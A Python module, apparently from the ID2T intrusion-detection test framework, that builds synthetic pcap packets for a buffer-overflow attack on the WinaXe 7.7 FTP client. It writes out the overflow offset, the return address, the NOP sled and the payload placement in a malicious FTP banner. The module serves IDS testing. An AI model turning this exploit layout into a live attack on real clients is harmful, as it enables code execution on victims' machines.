FTPWinaXeExploit.py 10 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213
  1. import logging
  2. import random as rnd
  3. import scapy.layers.inet as inet
  4. import Attack.AttackParameters as atkParam
  5. import Attack.BaseAttack as BaseAttack
  6. import ID2TLib.Utility
  7. import ID2TLib.Utility as Util
  8. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  9. # noinspection PyPep8
  10. ftp_port = 21
  11. class FTPWinaXeExploit(BaseAttack.BaseAttack):
  12. def __init__(self):
  13. """
  14. Creates a new instance of the FTPWinaXeExploit.
  15. """
  16. # Initialize attack
  17. super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.",
  18. "Privilege elevation")
  19. # Define allowed parameters and their type
  20. self.supported_params.update({
  21. atkParam.Parameter.IP_SOURCE: atkParam.ParameterTypes.TYPE_IP_ADDRESS,
  22. atkParam.Parameter.IP_DESTINATION: atkParam.ParameterTypes.TYPE_IP_ADDRESS,
  23. atkParam.Parameter.MAC_SOURCE: atkParam.ParameterTypes.TYPE_MAC_ADDRESS,
  24. atkParam.Parameter.MAC_DESTINATION: atkParam.ParameterTypes.TYPE_MAC_ADDRESS,
  25. atkParam.Parameter.INJECT_AT_TIMESTAMP: atkParam.ParameterTypes.TYPE_FLOAT,
  26. atkParam.Parameter.INJECT_AFTER_PACKET: atkParam.ParameterTypes.TYPE_PACKET_POSITION,
  27. atkParam.Parameter.IP_SOURCE_RANDOMIZE: atkParam.ParameterTypes.TYPE_BOOLEAN,
  28. atkParam.Parameter.PACKETS_PER_SECOND: atkParam.ParameterTypes.TYPE_FLOAT,
  29. atkParam.Parameter.CUSTOM_PAYLOAD: atkParam.ParameterTypes.TYPE_STRING,
  30. atkParam.Parameter.CUSTOM_PAYLOAD_FILE: atkParam.ParameterTypes.TYPE_STRING
  31. })
  32. def init_params(self):
  33. """
  34. Initialize the parameters of this attack using the user supplied command line parameters.
  35. Use the provided statistics to calculate default parameters and to process user
  36. supplied queries.
  37. """
  38. # PARAMETERS: initialize with default values
  39. # (values are overwritten if user specifies them)
  40. most_used_ip_address = self.statistics.get_most_used_ip_address()
  41. # The most used IP class in background traffic
  42. most_used_ip_class = Util.handle_most_used_outputs(self.statistics.process_db_query("most_used(ipClass)"))
  43. attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
  44. self.add_param_value(atkParam.Parameter.IP_DESTINATION, attacker_ip)
  45. self.add_param_value(atkParam.Parameter.MAC_DESTINATION, self.generate_random_mac_address())
  46. random_ip_address = self.statistics.get_random_ip_address()
  47. # victim should be valid and not equal to attacker
  48. while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
  49. random_ip_address = self.statistics.get_random_ip_address()
  50. self.add_param_value(atkParam.Parameter.IP_SOURCE, random_ip_address)
  51. victim_mac = self.statistics.get_mac_address(random_ip_address)
  52. if isinstance(victim_mac, list) and len(victim_mac) == 0:
  53. victim_mac = self.generate_random_mac_address()
  54. self.add_param_value(atkParam.Parameter.MAC_SOURCE, victim_mac)
  55. self.add_param_value(atkParam.Parameter.PACKETS_PER_SECOND,
  56. (self.statistics.get_pps_sent(most_used_ip_address) +
  57. self.statistics.get_pps_received(most_used_ip_address)) / 2)
  58. self.add_param_value(atkParam.Parameter.INJECT_AFTER_PACKET, rnd.randint(0, self.statistics.get_packet_count()))
  59. self.add_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE, 'False')
  60. self.add_param_value(atkParam.Parameter.CUSTOM_PAYLOAD, '')
  61. self.add_param_value(atkParam.Parameter.CUSTOM_PAYLOAD_FILE, '')
  62. def generate_attack_packets(self):
  63. pps = self.get_param_value(atkParam.Parameter.PACKETS_PER_SECOND)
  64. # Timestamp
  65. timestamp_next_pkt = self.get_param_value(atkParam.Parameter.INJECT_AT_TIMESTAMP)
  66. # store start time of attack
  67. self.attack_start_utime = timestamp_next_pkt
  68. # Initialize parameters
  69. ip_victim = self.get_param_value(atkParam.Parameter.IP_SOURCE)
  70. ip_attacker = self.get_param_value(atkParam.Parameter.IP_DESTINATION)
  71. mac_victim = self.get_param_value(atkParam.Parameter.MAC_SOURCE)
  72. mac_attacker = self.get_param_value(atkParam.Parameter.MAC_DESTINATION)
  73. custom_payload = self.get_param_value(atkParam.Parameter.CUSTOM_PAYLOAD)
  74. custom_payload_len = len(custom_payload)
  75. custom_payload_limit = 1000
  76. Util.check_payload_len(custom_payload_len, custom_payload_limit)
  77. self.packets = []
  78. # Create random victim if specified
  79. if self.get_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE):
  80. # The most used IP class in background traffic
  81. most_used_ip_class = Util.handle_most_used_outputs(self.statistics.process_db_query("most_used(ipClass)"))
  82. ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
  83. mac_victim = self.generate_random_mac_address()
  84. # Get MSS, TTL and Window size value for victim/attacker IP
  85. victim_mss_value, victim_ttl_value, victim_win_value = self.get_ip_data(ip_victim)
  86. attacker_mss_value, attacker_ttl_value, attacker_win_value = self.get_ip_data(ip_attacker)
  87. min_delay, max_delay = self.get_reply_delay(ip_attacker)
  88. attacker_seq = rnd.randint(1000, 50000)
  89. victim_seq = rnd.randint(1000, 50000)
  90. sport = Util.generate_source_port_from_platform("win7")
  91. # connection request from victim (client)
  92. victim_ether = inet.Ether(src=mac_victim, dst=mac_attacker)
  93. victim_ip = inet.IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
  94. request_tcp = inet.TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
  95. seq=victim_seq, options=[('MSS', victim_mss_value)])
  96. victim_seq += 1
  97. syn = (victim_ether / victim_ip / request_tcp)
  98. syn.time = timestamp_next_pkt
  99. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
  100. self.packets.append(syn)
  101. # response from attacker (server)
  102. attacker_ether = inet.Ether(src=mac_attacker, dst=mac_victim)
  103. attacker_ip = inet.IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
  104. reply_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
  105. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  106. attacker_seq += 1
  107. synack = (attacker_ether / attacker_ip / reply_tcp)
  108. synack.time = timestamp_next_pkt
  109. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
  110. self.packets.append(synack)
  111. # acknowledgement from victim (client)
  112. ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  113. window=victim_win_value, options=[('MSS', victim_mss_value)])
  114. ack = (victim_ether / victim_ip / ack_tcp)
  115. ack.time = timestamp_next_pkt
  116. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
  117. self.packets.append(ack)
  118. # FTP exploit packet
  119. ftp_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
  120. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  121. characters = b'220'
  122. characters += Util.get_rnd_bytes(2065, Util.forbidden_chars)
  123. characters += b'\x96\x72\x01\x68'
  124. characters += Util.get_rnd_x86_nop(10, False, Util.forbidden_chars)
  125. custom_payload_file = self.get_param_value(atkParam.Parameter.CUSTOM_PAYLOAD_FILE)
  126. if custom_payload == '':
  127. if custom_payload_file == '':
  128. payload = Util.get_rnd_bytes(custom_payload_limit, Util.forbidden_chars)
  129. else:
  130. payload = ID2TLib.Utility.get_bytes_from_file(custom_payload_file)
  131. Util.check_payload_len(len(payload), custom_payload_limit)
  132. payload += Util.get_rnd_x86_nop(custom_payload_limit - len(payload), False, Util.forbidden_chars)
  133. else:
  134. encoded_payload = custom_payload.encode()
  135. payload = Util.get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, Util.forbidden_chars)
  136. payload += encoded_payload
  137. characters += payload
  138. characters += Util.get_rnd_x86_nop(20, False, Util.forbidden_chars)
  139. characters += b'\r\n'
  140. ftp_tcp.add_payload(characters)
  141. ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
  142. ftp_buff.time = timestamp_next_pkt
  143. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
  144. self.packets.append(ftp_buff)
  145. attacker_seq += len(ftp_tcp.payload)
  146. # Fin Ack from attacker
  147. fin_ack_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
  148. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  149. fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
  150. fin_ack.time = timestamp_next_pkt
  151. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
  152. self.packets.append(fin_ack)
  153. # Ack from victim on FTP packet
  154. ftp_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  155. window=victim_win_value, options=[('MSS', victim_mss_value)])
  156. ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
  157. ftp_ack.time = timestamp_next_pkt
  158. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
  159. self.packets.append(ftp_ack)
  160. # Ack from victim on Fin/Ack of attacker
  161. fin_ack_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq + 1, flags='A',
  162. window=victim_win_value, options=[('MSS', victim_mss_value)])
  163. fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
  164. fin_ack_ack.time = timestamp_next_pkt
  165. self.packets.append(fin_ack_ack)
  166. def generate_attack_pcap(self):
  167. # store end time of attack
  168. self.attack_end_utime = self.packets[-1].time
  169. # write attack packets to pcap
  170. pcap_path = self.write_attack_pcap(sorted(self.packets, key=lambda pkt: pkt.time))
  171. # return packets sorted by packet time_sec_start
  172. return len(self.packets), pcap_path